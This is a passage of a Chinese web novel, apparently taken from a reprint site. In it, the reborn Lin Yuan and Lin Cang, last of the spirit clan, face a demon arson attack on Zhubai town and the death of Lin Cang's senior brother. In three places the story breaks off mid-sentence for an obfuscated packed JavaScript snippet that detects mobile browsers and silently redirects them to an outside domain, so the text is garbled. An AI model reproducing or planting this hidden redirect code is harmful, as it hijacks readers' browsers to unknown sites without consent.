“深更半夜,到底是什么地方非去不可?”林沧蹙眉问道。 “宁泉宗。”林渊也没卖关子,直言道,“听说他们驯养了一群白鸽,能够识别妖气,找到隐匿身份的妖族。” 上一世,便是这些敏锐的白鸽发现了妖族的踪迹。 也是靠着这些白鸽,林渊才追踪到那些滥杀无辜的妖族,将他们斩尽杀绝,为竹白镇报仇。 “妖族?”林沧拧着眉头,一脸不信,“你是说竹白镇藏有妖族,还是怕柳妖去而复回?如果说那个没我肩膀高的小女孩儿,还掀不起什么风浪。” 林渊没做解释,凭那个柳妖,自然掀不起风浪,但他记得当时有一只厉害的大妖。 本体好像是一座桥。 “而且妖族也不都是滥杀无辜之辈……”林沧低声自语道。 林渊看了林沧一眼,心绪复杂,没有说话。 竹白镇一事中,他杀了一只大妖和无数小妖,成为导火索,彻底与妖族撕破了脸皮。 灵族与妖族本有世仇,但从竹白镇以后,他作为最后一个灵族,才彻底闯入妖族视野,站在了妖族的对立面。 从那以后,不论好妖坏妖,都疯了似的围堵,不仅为了吃掉他的心脏,更是为了复仇。 所以,他杀过的妖族……数不胜数。 宁泉宗到了。 青砖院墙,飞檐斗拱,耸起的屋脊上没有镇宅的石雕脊兽,而是窝着一个个洁白的毛团,正是林渊所说的能够识别妖气的白鸽。 夜幕之中,一团团洁白的鸽子极其显眼,大多安详地把嘴喙插在羽翼下面,时不时发出低低的呓语。 林渊一路紧绷的身体突然放松了下来。 他知晓这些充满灵气的小家伙到底有多敏锐,一丝一毫的妖气都能被它们迅速锁定,然后精确地追踪。 看来这一世,妖族没追上来。 竹白镇是安全的。 “要敲门的话,你自己去。”林沧看了一眼安静的宁泉宗,双手抱胸,说道。 “不必了。”林渊摇摇头,眉眼舒展,望向林沧,鸦青眼眸中含着一抹温润的笑意,看得林沧一愣。 “……大半夜赶来,就为了看一眼屋顶的鸽子?”林沧半晌才找回自己的声音,发现林渊的确没有进宗的意思后,只觉荒谬至极,气极反笑。 “是啊,多谢你陪我来看鸽子。”林渊心里的大石落下了,笑眼弯弯,跟林沧开起了玩笑。 “不用谢,我想把你剁碎了喂鸽子。”这次不用伪装了,林沧板着脸,冷冷地说道。 他一定是脑子抽筋,才会在深更半夜,陪林渊发疯。 想到此间,林沧心中涌起一阵说不清道不明的烦乱,他明明想把这个狗皮膏药似的男子甩开,以免耽误别人,现在看来,却好像起了反作用。 “我们去住店吧。”林渊提议道,“三更刚过,此刻休息,还能睡上数个时辰。” “神医也见了,最后一程也送了,明日开始,各奔东西,不要再纠缠我。”林沧直接说道。 “我有些乏了。”林渊恍若未闻,打了个呵欠,摆了摆手,“有什么事,明日再说。” “不用明日再说,明早我自行离开,不必寻我。”林沧直截了当地说道。 林渊闻言挑眉,眼睛一转,林沧警惕地看着林渊,不曾想林渊只是随意地耸耸肩,语气散漫地应道,“好啊,慢走不送。” 林沧一时没习惯这样的林渊,微微愣怔,刚想开口,林渊已经停在一家客栈前面,叩响了门环。 于是林沧闭上了嘴巴。 半晌之后,火折一亮,被吵醒的小二满脸不耐,探出头来,上下打量着林渊和林沧。 “住店。”林渊在店小二的白眼中,动作流畅地从林沧的身上掏出了几张银票。 林沧:“……” 马上就分别了,不跟他一般见识。 “只剩一间房了,在二楼。”小二收下银票,脸色稍有缓和,但是语气仍然充满了不耐。 林沧脸色一僵。 林渊无辜地耸了耸肩膀。 林沧皱眉看着林渊,硬生生从林渊的脸上读到了一丝狡黠。 他不会早知道这家店只剩一间房了吧?林沧忽然冒出了这种不切实际的想法。 “爱住不住,两个大老爷们还眉来眼去上了。”店小二困得眼角淌泪,捏紧银票提神,连声催促道。 “我们住。”林渊率先回答道。 “二楼右转,最后一间。”店小二立马把银票揣进怀里,吹熄火折子,呵欠连天地回去了。 “走吧?”林渊伸手去拽一动不动的林沧,“将就一晚,啊?” “你去吧,我连夜赶路。”林沧躲开林渊的手,拒绝道。 “……你这家伙。”林渊叹息一声,摊了摊手,无奈道,“好了,不逗你了。我对你并没有任何逾矩的想法,对于之前的误会,如果让你感到不适,我可以道歉。” 林沧皱眉看着林渊,潜意识中,竟然丝毫不觉得他在说谎。 意识到这一点后,林沧心中一惊,后退了一步。 若论心智,他扪心自问,完全比不过眼前这个男子。 他看不透他,但他却在他眼中无所遁形。 仿佛印证林沧的观念,林渊再次看穿了林沧的想法。 但林渊的行动,却出乎了林沧的预料。 “我的确有一些秘密,暂时不便告知你。”林渊看着林沧的眼睛,极为认真地说道,“但是,林沧,跟我相处,你不必有任何拘束,做自己便好。” 林渊的神情极为认真,甚至称得上庄重。清润的月光在那双鸦青色的眼眸中酝酿,林沧猝不及防,跌进这一潭月色,忽然感觉心中有什么东西,狠狠动了一下。 林渊刚刚的话,明明不长,却精准地拨动了他的心弦,余音回响。 不必有任何拘束,做自己便好。 所以他看出来了是吧,他刻意疏离的伪装,根本瞒不过他的眼睛。 可是,就算知道那是伪装……屡次故意态度那般差,常人也应该接受不了。 可将近一年的相处,林渊一直、一直待他那般好。 他从未见过一个人如此纵容另一个人,无论他说什么做什么,林渊从来不会着恼。 与那双温柔、关切,仿佛只盛着他一人的鸦青眼眸对视,林沧忽然感觉头脑有些发晕,思维也紧跟着混沌起来。 放弃吧。他跟着你,也不是一天两天了。直到如今才察觉到他的心思,只能怪你太过愚钝。 算了吧。反正你也活不了多久了,而且你根本早已习惯了他的存在。 至于那种不应存在的感情…… 林沧抿了抿唇,望着林渊鸦青色的温润眼眸,忽然作出了一个决定。 如果无法拒绝。 他会尽量、尝试着,回应林渊。 哪怕他本不是断袖。 “林渊。”林沧慢慢地念出这个名字,纯黑的眸子中翻滚起复杂的情绪,语气很沉,“我不会刻意赶你走了,只是日后,希望你不要后悔。” 等他死后,希望你不要后悔。 “定然不悔。”林渊毫不犹豫地接口,欣喜之余,却隐隐有些困惑。 林沧话音刚落,林渊便明白他以后不必继续面对林沧刻意的冷脸,但是林沧的态度,却总给他一种怪里怪气的感觉。 他都讲明没有任何逾矩的想法了,不过是以朋友的身份结伴同行,那林沧口中的“后悔”指的是…… 林渊暗自疑惑,忍不住走快两步,试探性地伸手,拍了拍林沧的肩膀。 林沧肩部肌肉微微一紧,不过立刻放松下来,也没有像之前那样,甩开他的手掌。 林渊松了口气。 很好,至少断袖的误会解除了,不然林沧不会让他无缘无故拍他的肩膀。 这种事情,外人误会便罢了,他们彼此之间,还是坦荡一些为好。 那林沧刚刚口中的“后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810375|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悔”,大抵没那个意思,只是他自己想多了。 不知林沧完全跑偏、甚至做出那种可怕的决心的林渊成功说服了自己,心情甚好,跟着青年走上二楼,推门走进了客房。 单人客房,狭窄的床。 一张木桌,摆着简陋的茶具,一条长凳,坐上去吱呀作响。 “你随意。”林沧垂眸说道,伸手解开发带,如瀑墨发散落,接着散落的是玄黑的衣袍。 林渊愣了一下,看着青年紧实的肩颈线条,意识到盯着别人看不太礼貌之后,迅速收回眼神,尴尬地搓了一把脸庞。 虽说误会已经解开,君子之交,坦坦荡荡……但林沧的态度转变得也太快了吧。 不过片刻,林沧已经躺在了榻上。青年只着里衣,双手枕在脑后,纯黑的眼眸却有些空洞,漫无目的地落在灰白的墙壁上。 “林渊。”青年开口唤道。 “嗯?”林渊回神。 “有一件事,我必须跟你讲明白。”林沧望着一片摇摇欲坠的墙皮,骨节明晰的手指按在胸膛上,“我也许,不,是一定很快就会离开,所以……” 林沧说不下去了,但他相信林渊已经明白了他的意思。 “很快?”林渊抓住他话里的某个词语,反问道。 “不过数年。”林沧垂下眼帘,没有说出具体的日子。 “身后之事,何须如此在意?”林渊没有继续追问,反而微微地笑了,“如果你之前说的‘不要后悔’是指这件事,那我只能说……” 长凳“吱呀”一声,林渊站起身来,走到了林沧身边。 “定然不悔。”林渊低头看进林沧的眼眸,薄唇中吐出同样的话语,语气竟比刚才还要认真几分。 林沧恍惚了一瞬。 定然不悔。 哪怕只有数年。 随着林渊的靠近,他的心脏忽然不受控制地剧烈跳动起来。林沧按紧心口,压住掌心的跃动,神情出现一丝迷茫,没头没尾地开口说道,“抱歉,我听不清楚,它想说什么。” 灵族的本源是心脏。 其实从第一次见到林渊,他的心脏就好像想告诉他什么,比平时更快更剧烈地跳动着。 这很奇怪。那件事之后,他本是无差别排斥所有人的。 然而林渊,是个例外。 林沧与林渊对视,发现男子向来漫不经心的眼眸中,竟然涌起了一抹他看不懂的复杂情绪,仿佛隐含着深深的伤痛。 林沧微微愣怔。 刚刚他那句没头没尾的话,任谁也不应该听懂,偏偏林渊好像懂了。 “它想说,”林渊忽然伸掌,覆在林沧放于胸口的手背上,隔着手掌,却仿佛能感到强有力的心跳,“哪怕注定要离开,也要好好地活着。” 林沧彻底懵了。 他知道林渊误会了他的意思。 他的本意其实是想说,他听不清自己的心声,他不明白为何第一次见他就心脏狂跳,更不知道本没有断袖之癖的自己到底能否真正地接受林渊的感情。 但是,林渊却说,哪怕注定要离开,也要好好地活着。 【至少现在,好好活着。】 林渊的手掌微凉,覆在他的手背上。而他的掌心之下,那颗心脏仿佛着魔,正疯狂地跳动着,几乎要冲破胸腔。 林沧忽然下了某种决心,缓缓地抽出了手掌。 然后握住林渊的手,直接按在了心口上。 里衣凌乱,林渊微凉的掌心直接覆在了林沧的胸膛上。 熟悉又陌生的心跳,顺着掌心,攀上胳膊,一路钻进林渊沉寂已久的胸腔。 林渊一阵恍惚,闭了闭眼睛,再睁开时,骤然对上了林沧纯黑的眼眸。 那双眼眸中,好像含着一种奇异的情绪,青年锋利的眼尾悄然软化,唇角微抿,每一个细微的表情都好像在诉说着什么。 他想说…… 林渊怔怔地想着,思绪却忽然被打断了。 “扑棱棱”的振翅声响彻天际,窗外一群白鸽急速飞过,洁白鸽羽飘落。 白鸽,动了。 5. 祸启 林渊的思绪骤然断了。 窗外群鸽飞过,林渊猛地起身,几步跑到窗前,望向鸽群飞往的方向。 橙红的火焰刺痛了他的眼睛,林渊攥着窗棂,用力到骨节青白。 怎么会这样。 明明上一世,白鸽发现妖族踪迹,宁泉宗与妖族起了冲突,宁泉宗战败之后,妖族才放火烧镇。 这次,他们是如何瞒过白鸽的眼睛的? 等等。 那个方向…… 是医馆! 难道因为林沧白天进过医馆,所以妖族追到了那里?! “我们走。”耳根后传来凝重的声音,林渊回头,林沧的脸近在咫尺,纯黑的眸子中映照着火光,下颌绷紧,颌角线条凌厉如刀。 有什么东西不一样了。 林渊感到一丝异样,但当下情况容不得他多想。林沧早已穿好衣物,伸手抵住窗棂,掌根用力,“喀啦”一阵脆响,窗棂纷纷断裂,林沧抓住林渊的胳膊,从窗口一跃而出,在空中虚踏几下,眨眼之间,落在了远处的屋脊上。 落在屋脊之后,停留只有一瞬,林沧重新纵身腾跃,数次重复之后,林渊被扯得手臂几乎脱臼,遥望距离尚远的医馆,林渊破罐子破摔,伸手环住了林沧的腰。 “抱紧了。”林沧只垂眸扫了一眼,淡淡地说道。 幸亏误会解除了,不然还得遭罪。林渊暗自感慨道。 林沧加快了速度,火势蔓延很快,火光愈来愈炽烈,林沧的表情愈来愈冷硬,后槽牙紧紧咬着。 他们先于白鸽群,抵达了火场。 火势凶猛,钟怀仁的医馆火势最大,周围一排房屋也着了火,浓烟滚滚,邻里百姓全都跑了出来,奋力泼水灭火,奈何杯水车薪,徒劳无功。 “咳咳,都跑出来吧!还有人在里面吗?”一个满脸烟尘的男人抱着一个昏迷的孩童,冲出火场,大声喊道。 “谢谢,谢谢……”一名妇人从男人的怀中接过孩童,流着眼泪千恩万谢,“谢谢你救了我的孩儿……” “李大哥,救救我师父吧!”铜铃叮铃,一名腕系红绳的少年忽然跪倒在男人身前,嚎啕大哭,“我师父,还有师弟,他们都还在馆里!” 李大哥认出了少年,正是钟怀仁的学徒。 风助火势,李大哥抬头看了一眼冲天的火光,面露难色。 “医馆火势最旺,不能让小李去送死啊!”一名拄着拐杖的老者说道。 少年心中最后一丝希望泯灭了,“扑通”一声坐在地上,泪水顺着脸颊淌了下来。 “在这等着。”林沧扯开林渊的手臂,低声说道。 “小心。”林渊正色道。 “不用担心,我是灵族。” “我是说,小心妖族。” 林沧沉默了一下,微一点头,忽然伸手,在林渊眼前一顿,最终落在了他的侧脸上。 修长的手指轻飘飘地拂过脸庞,一路下移,在林渊侧颈迅速划过,如羽毛般轻盈,温热,又有点痒。 林沧头也不回地走进了火场。 林渊不明所以地摸了摸脖子,忽然一只粗糙的手伸过来,扯住了他的衣袖。 “刚刚那个人是你朋友吗?你怎么让他进去了!”李大哥急切地说道,声音被烟尘呛得沙哑,“火势那么大!去送死吗?” 林渊的目光落在李大哥身上,浓眉大眼,面相憨厚,黝黑的皮肤被烟尘覆盖,却仍然泛着健康的光泽。 好像是牌楼下乘凉的那个农人。 “喂!”李大哥见林渊走神,又急又怒,忍不住吼道。 “哦,没事,他是灵……修。”林渊慢悠悠地回答,抬眼望去,洁白的鸽群在半空盘旋,破空声传来,一道道矫健的身影落在地上。 “大家快离开这个地方!”宁泉宗的灵修们甫一落地,立即高声喊道,“这不是寻常火灾,是妖族作祟!大家速速离开,不要耽误!” “宁泉宗!” “妖族作祟?!” 百姓们看到宁泉宗,本来面露喜色,听到妖族之后,纷纷又惊又俱,炸开了锅。 “你的朋友是宁泉宗的灵修?太好了,钟神医他们有救了!”李大哥看着林渊,喜道。 “是有救了。”一道凉凉的声音从李大哥背后传来,李大哥还未回头,忽然感觉背后一沉,烟尘气扑鼻而来,虚弱苍老的声音响起。 “小李,是我,钟怀仁。” 李大哥连忙松开林渊的衣袖,转身扶住钟怀仁,下一刹那,林沧把钟怀仁的学徒也丢进了李大哥的怀中。 李大哥手忙脚乱,林沧则拍了拍沾到的烟尘,走到了林渊面前。 浓重的烟味钻进鼻腔,林沧背后是熊熊燃烧的烈火,房屋不堪重负,纷纷倒塌,林渊看着举重若轻的青年,知道林沧其实并不轻松。 哪怕是灵族,也是血肉之躯,烈焰焚身,岂会不痛。 “辛苦了。”林渊弯起眼角,拍了拍林沧的胳膊。 林沧则一把攥住了林渊伸过来的手。 “既然选择跟我走,就不要做让我误会的事。”林沧盯着林渊的眼睛,认真地说道。 林渊:“?” 什么误会?他怎么有点跟不上自己的思路? 林沧看着满脸迷茫的俊雅男子,对林渊此刻的迟钝又好气又好笑,磨了磨后槽牙,指腹重重抚过林渊的指关节,故意说道,“没事,我知道你的心思。” 林渊:“……” 他怎么不知道曾经的自己知道了自己什么心思。 总之有点怪。但说不上来。 不过太好了,这次没有任何一条无辜的生命逝去。 财物可以赔偿。 妖族可以追踪。 林沧再也不会因此自责了。 于是林渊真心实意地笑了,用力地回握林沧的手掌,然后一拉一拽,将林沧扯过来,紧紧地拥抱了林沧。 天知道上一世,他有多么渴求一个拥抱。 孤独和自厌将他拖入泥淖,直到死亡,他也没等到哪怕是一星半点的微光。 “太好了。”林渊下颌抵着林沧的肩头,在林沧耳边说道,“你救了他们,真的太好了。” 林沧怔怔地抬起一只手,回抱了林渊。 又开始了,他的心脏。 疯狂跳动。 他甚至有种错觉,自己的心脏极度向往林渊,向往到想钻进林渊的胸腔中去。 不知道林渊会不会感觉到,他这颗着魔一般的心脏。 ……可为什么,明明距离如此接近,他却感受不到林渊的心跳。 “如果哪天……我是说如果,我对你做了什么不好的事情,你随时可以拒绝。”林沧忽然凑近林渊的耳边,低低地说道。 “什么?”温热的吐息擦过耳廓,林渊不由有些走神,下意识反问道。 “既然已经走到这一步,那就不必继续伪装了。”林沧松开林渊的怀抱,再次认真地说道,“你知道是什么意思。” “……” 林渊又冤枉又迷茫。 他这次真的没有伪装。 “多亏了那个小伙子,是他救了我们。”钟怀仁对赶来的灵修说道,“火势太大,烧断了横梁,我和徒儿差点被燃烧的梁木砸到,他一手托住了那根合抱之粗的横梁。” 林渊闻言一愣,方才的迷茫瞬间被抛在脑后,林渊猛地抓起了林沧一直垂在袖中的另一只手。 林沧没有挣扎,顺着林渊的力道展开手掌,掌心一片焦黑,森然见骨。 林渊目光一凝,呼吸一顿,没有心脏的胸口再次隐隐作痛。 “你是灵修?”宁泉宗的灵修问道。 “我是灵族。”林沧眼神一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810376|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗,坦诚道,“抱歉,妖族是我引来的。” “世间最后一个灵族?!”宁泉宗的灵修大吃一惊,“这么说,灵族心脏的传闻……是真的?” “抱歉。”林沧再次道歉,“火灾损失的财物,我会赔偿。” “没事没事,赔偿一事,我们宁泉宗会全部负责。”宁泉宗的灵修摇头说道,眼中闪烁着钦慕,“归根到底,天下灵修的修炼之法,皆来自你们灵族。灵族生来强大,却从不害人,还愿意教人族修炼灵力,抵御妖魔,我等灵修宗门定会誓死追随灵族。” “言重了。灵族已经没落,帮不上你们了。”林沧垂眸,低声说道。 宁泉宗的灵修讪讪地挠了挠脸颊,忽然瞥见林沧手掌的伤痕,连忙从怀中掏出伤药,递给林沧。 林沧接过伤药,正想道谢,另一名灵修忽然跑过来,大声说道,“三师兄,事有蹊跷!鸽群一直在附近徘徊,我们怀疑妖族并未离开!” “不会混入百姓中了吧?”宁泉宗三师兄心中一凛,说道。 “应该没有,疏散的百姓都由白鸽检查过了,没有妖族潜伏!” “难道还在火场之中……”三师兄转头,看向熊熊燃烧的火焰,火光映照之下,三师兄神情坚毅,沉声吩咐道,“三人一组,扑灭火灾,一旦发现异常,立即禀报。” “是!”灵修领命去了。 林渊却深深皱起了眉头。 他明明记得上一世,并没有用火的妖族,哪怕是最厉害的桥妖,也不具备御火的天赋。 按理说,妖族不应还在火场之中。 洁白的鸽群在半空盘旋,没有一只白鸽离群,而林渊清楚,哪怕是妖族已经离开许久,鸽群也能循着残留的味道,进行追踪。 所以妖族并没有离开。 而且,妖族是如何进来的? 若是妖族跟踪他和林沧,深夜潜入竹白镇,无论如何,都会留下来时的痕迹。 所以哪怕妖族没有离开,也会有部分白鸽嗅到妖族来时的气味,找到妖族潜入竹白镇的路径。 可是现在,白鸽只是长久地在半空中徘徊。 难不成妖族并非尾随而来? 宁泉宗三师兄也想到了这一点,面容凝重,对林沧说道,“林公子不必自责,说不定,妖族早已潜伏在竹白镇中了。” “骨碌碌……” 什么东西忽然滚到了林沧的脚边。 林沧下意识退了一步,定睛一看,瞳孔骤然紧缩。 那是一个纸包,白色的棉绳沾血散开,里面滚出几个青色的艾糍。 “小沧子……” 虚弱的呼唤声从漆黑的角落中传来,紧接着是窸窸窣窣的爬动声,夹杂着几声微弱的咳嗽,咳声喑哑,喉间仿佛含着血沫。 林沧一个激灵,飞速抢上前去,一把抱起了浑身浴血的男人。 “我遇到妖族了,他们在找你……”霍君生断断续续地说道,每说一个字,口中都会溢出浓稠的鲜血。 “师兄,别用力,师兄你撑住!”林沧呼吸纷乱,手指颤抖,心急如焚地寻找霍君生的伤处。 “那个大妖可以隐藏行踪,小沧子,他们想要你的心脏,我已经打伤了大妖,暂时不会追上来,你快走……” 霍君生脸色惨白,瞳孔涣散,嘴唇翕张,声音越来越低,浑身都无力地软了下去。 “师兄!”林沧觉得喉间一阵腥甜,不知是吸入了霍君生的血气,还是他太过悲愤,自己撕裂了咽喉。 “小沧子,忘掉师兄吧……不要绝望啊。” 霍君生忽然瞪大眼睛,不知哪里来的力气,猛地抬手,钳住林沧的肩头,手指如同鹰勾,狠狠陷入了林沧的皮肉。 鲜血淋漓地从林沧的肩头淌下,洇湿了玄黑的衣物。 霍君生脑袋一歪。 林沧如坠冰窖。 6. 疑窦 师兄死了。 师兄死了师兄死了师兄死了…… 林渊怔怔地看着林沧怀里的霍君生,脑袋一片空白,唯有一个声音反复提醒他师兄的死讯,仿佛空谷回响。 林渊张了张嘴,却咽喉发紧,什么话也没说出来,好像中了蛇毒,颈项僵直,窒息麻木。 霍君生的指甲嵌入林沧的肩窝,淋漓的鲜血顺着霍君生的手指,淌过手掌,最终汇聚在青白色的掌根,“啪嗒”一声落在地上。 麻痹的头脑忽然清醒,纷乱的思绪席卷了林渊。 怎么会这样。 与上一世完全不同。 这次尾随而来的,竟是白鸽都无法追踪的,隐匿行踪的妖族。 师兄遇害。 妖族不知所踪。 目前为止,除了火烧医馆,妖族并未亲手伤害任何一个百姓。 而是躲在暗处,伺机而动。 “大家不要分散,妖族能够隐藏行踪,随时可能突袭!”宁泉宗三师兄满脸严肃,叮嘱宁泉宗的灵修,安排好后,快步走向林沧,关切道,“林公子节哀,妖……” 一道锋利的弧光突兀地闪过,堪堪划过宁泉宗三师兄的侧脸,几缕头发削落,三师兄的表情变了。 “抱歉,我来处理。”林渊说着,越过三师兄,向林沧走去。 刚熄灭的弧光骤然亮起,与林渊的眉心仅有一寸距离,仿佛林渊再往前踏出一步,就会贯穿他的头颅。 林渊却好似看不见那道弧光,往前踏了一步。 一丝鲜血,从林渊的眉心渗了出来。 那道弧光好像被鲜血烫到了一般,乍然熄灭一瞬,但又执拗地亮起,阻止林渊往前走。 林渊反而加快了脚步。 弧光节节后退,林沧唰地抬起眼帘,紧紧抱着霍君生的尸体,愤怒地看向林渊。 “别过来。”林沧警告道。 青年眼中布满血丝,颊边肌肉抽搐,下唇咬破,鲜血殷红。 林渊不语,三步并做两步,俯下身子,攥住了林沧的手。 弧光闪烁,反应不及,划破了林渊的侧脸,留下一道细细的伤痕,渗出了细密的血珠。 滚落的血珠刺到了林沧的眼睛,弧光明明暗暗,最终“啪”的一声,灭了。 林沧一手紧紧抱着霍君生的尸体,一手被林渊攥着,脑袋无力地垂下,仿佛被抽干了灵魂,满眼空洞。 “林沧。” 林渊低声唤道。 “师兄死了。” 林沧咽下一口血气,低哑道。 “那就为他复仇。” 林渊压下翻涌的杀意,森然道。 “是我害的。” 林沧答非所问。 林渊咬了一下后槽牙。 他就知道,会是这种结果。 上一世,钟怀仁在他面前死去,竹白镇化为火海,是他坠入深渊踏空的第一步。他无法告诉林沧上一世的惨烈,更不会将霍君生的死与前世的惨状放在天平的两端衡量……无论是霍君生,还是竹白镇,都不该平白无故地死去。 如今的他,想明白了一件事。 错的不是林沧。 而是那些贪得无厌的妖族。 得不到心脏就滥杀无辜。 林渊攥着林沧的手用力,抬高,强硬地令他舒展肩膀。另一只手则不容置疑地扳住林沧的下颌,迫使青年抬起头来,与他对视。 林沧空茫的眼神逐渐定格在林渊脸上。 向来漫不经心的俊雅男子头一次在林沧面前敛起了笑容,鸦青色的眸子酝酿风暴,杀意浸润眼角眉梢,颊边的血珠滚落最后一丝雅致,只剩下凶狠的……疯狂。 “师兄说了,”林渊手指用力,语气极重,“不要绝望啊。” 林沧恍惚觉得下颌要被林渊捏得错位,但这种痛感却与霍君生钳住他肩头的感觉完全不同。林渊第一次在他面前露出这副桀骜不驯的模样,带着一股子疯劲儿,陌生,却又理所应当,仿佛本来就该这样。 林渊松开林沧的下颌,攥住霍君生的手腕,猛地将嵌入林沧肩窝的手指拔了出来。 鲜血喷涌。 林渊面无表情地撕下一片衣袖,为林沧包扎伤口。 林沧默然不语,任由林渊给他包扎,明明浑身浸透疯狂的杀意,但手上的动作却是轻柔的。 “站起来,为师兄复仇。”林渊包扎结束,直起身子,居高临下看着林沧。 不容置喙的命令。 却直击灵魂。 林沧缓缓放下了霍君生的尸首。 “为师兄复仇。” 沙哑的声音摩擦撕裂的咽喉,林沧却恍若未觉,一字一顿地说道。 - 宁泉宗的灵修扑灭了医馆的大火。 除了钟怀仁和他的学徒,其余百姓都被疏散,回到家中,关门闭户。 白鸽三五成群,绕着镇子逡巡,随时警惕妖族偷袭。 医馆以及周围的房屋一片狼藉,断壁残垣,烧死的树木如同焦黑的枯手,纵横的枝杈指向空中。 “嘬嘬嘬”的声音忽然传来,伴随着清脆的铜铃声,林渊转头,看到钟怀仁的学徒正在医馆废墟周围打转,焦急地呼唤着什么。 “真是奇怪,就算是着火,旺福也没栓绳,肯定能跑出来啊。”学徒回到钟怀仁身边,说道。 “莫急,走,我们去找找。”钟怀仁在另一名学徒的搀扶下起身,向医馆的废墟走去。 “当心倒塌。”宁泉宗的三师兄提醒道。 钟怀仁答应一声,在两名学徒的搀扶下走进废墟,烟灰呛得钟怀仁频频咳嗽,钟怀仁捂住嘴巴,看着毕生的心血付之一炬,心中一阵凄凉。 不过幸好他们还活着。 钟怀仁想起霍君生,忍不住长长叹了口气。 “旺福!”一名学徒忽然指着废墟中的一处,惊呼道。 只见瓦砾之间,一只焦黑的大狗静静地躺在地上。 学徒急忙跑上前去,俯身抱起大狗。烟灰簌簌而落,细看之下,大狗身上其实并无很多烧伤,大多都是浮灰,但是浑身肌肉痉挛僵硬,一双黑眸瞪得极大,死不瞑目。 学徒眼眶一红,伸手就去合旺福的眼睛,却被一只手拦住了。 那只手骨节明晰,苍白至极,指甲不是健康的红润,反而泛着隐隐的青灰,血迹缠绕修长的指尖,仿佛阴曹地府爬上来索命的鬼手。 学徒一个哆嗦,头顶却传来温和的嗓音,有点耳熟。 林渊已经恢复了散漫的模样,只是比之前更为苍白,眼底乌青。 林渊蹲下身子,摸了摸旺福冷硬的身躯,又掰开它的嘴巴,仔细看了看舌头。 “没有明显的烧伤,也不是浓烟致死。”林渊说道。 “什么?”学徒一愣。 “若是你被浓烟熏了眼睛,还会瞪这么大吗?”林渊指了指旺福死不瞑目的眼睛。 “林公子说得对,旺福在起火前,就已经被毒死了。”钟怀仁长叹一声,说道,“旺福舌体肿胀,舌色艳红,是死前中了剧毒。而四肢肌肉痉挛,应该是剧烈挣扎所致,所以纵火之前,妖族事先毒死了旺福。” “毒死看家犬,潜入医馆,是为了阻止犬吠,惹人注目。”林渊说着,忽然喉头发痒,掩口咳了几声,目光一凝,悄悄攥住掌心,顿了一下,才继续说道,“如此作风,倒不像妖族。” “白鸽嗅到气味,怎么可能不是妖族!”学徒反驳道,“我师父治病救人,从不求回报,绝不可能有人想要害他!” “霍前辈说遇到妖族,我自不会怀疑妖族的存在,只是其中……咳……” 林渊说了一半,再次抬手,捂住了嘴唇。 指缝间溢出了丝丝缕缕的鲜红。 黑雾在眼前浮动,视野变得模糊,林渊蹙起了眉头。 肩头忽然一沉,温暖的感觉席卷全身,有人给他披了一件带有体温的衣服。 林渊眯起眼睛,向后看去,黑影隐隐约约,看不清楚,林渊尽力把目光定格到那人的眼睛,弯起眼角,说了一句“多谢”。 下一刹那,唇角传来温热的触感,黑影伸出指尖,拭去了他咳出的鲜血。 林渊发觉,他刚刚认错了黑影的眼睛。 “敢死在我眼前,杀了你。”林沧低哑的声音在耳边响起,带着微不可查的颤抖。 这句话实在没有道理。 林渊愣了一下,手掌已经被黑影捉了去,擦拭掌心的血迹。布料摩擦的感觉令人后背发毛,林渊试探着轻轻挣了一下,却被林沧攥得更紧。 林沧握紧林渊的手,胡乱地擦拭着林渊掌心的血迹,仿佛抓着最后一根救命稻草。 林沧不敢想象,如果失去师兄之后,紧接着失去林渊,会变成怎样。 他根本无法想象。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810377|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “死不了。”林渊猜出了林沧的心声,说道。 虽然直截了当,但在此时此刻,对林沧来说,却是最大的安抚。 “……交给我吧。”林沧看着林渊,忽然认真道。 他不能垮,他还有要保护的人。 林沧迫使自己冷静,攥紧了拳头。 “好。”林渊察觉到了林沧细微的变化,略带欣慰地颔首,用力闭了闭眼睛,发现视野并无改观,只好选择放弃。 指尖传来布料的触感,林渊努力辨别,发现是林沧递过来的衣袖。 于是林渊心安理得地攥住了那片衣袖。 “以我所见,林公子心力衰竭,若不是灵女封印,恐怕早已撑不住了。”钟怀仁感慨一声,说道,“不过妖族毒死旺福,潜入医馆,我倒是有一个猜测。” “什么猜测?”林沧问道。 “二位还记得挂锁的内室吗?”钟怀仁说道,“刚刚我让小徒去仔细寻找,但里面的东西已经不见了。” 怀璧其罪。 林沧一瞬间想道。 妖族想要其中的东西? “五霜散。”钟怀仁说道,“家师传下来的神药,有生死人肉白骨的奇效。但是药力刚猛,服用者如酷刑加身,若是意志不够坚强,便会因剧痛暴毙而亡。我把五霜散置于不惧水火的宝盒,医馆坍塌后,照理说就在废墟之中,可是无论如何也找不到了。” 